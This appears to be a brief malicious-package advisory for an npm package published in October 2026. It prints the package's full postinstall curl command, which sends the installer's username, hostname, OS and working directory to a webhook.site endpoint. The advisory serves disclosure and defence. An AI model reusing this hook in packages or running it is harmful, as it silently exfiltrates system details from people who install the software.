Vulnerability MAL-2026-18108

Its postinstall hook runs on npm install: curl -s -m 10 -X POST "https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof" -H "Content-Type: text/plain" --data-binary "DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|[email protected]|benign-research-rootaccessxvv" || true. The hook collects the username, hostname, Node.js version, operating system, working directory and package name, then sends them to https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The npm account mohamed2343224 published it on 2026-10-18.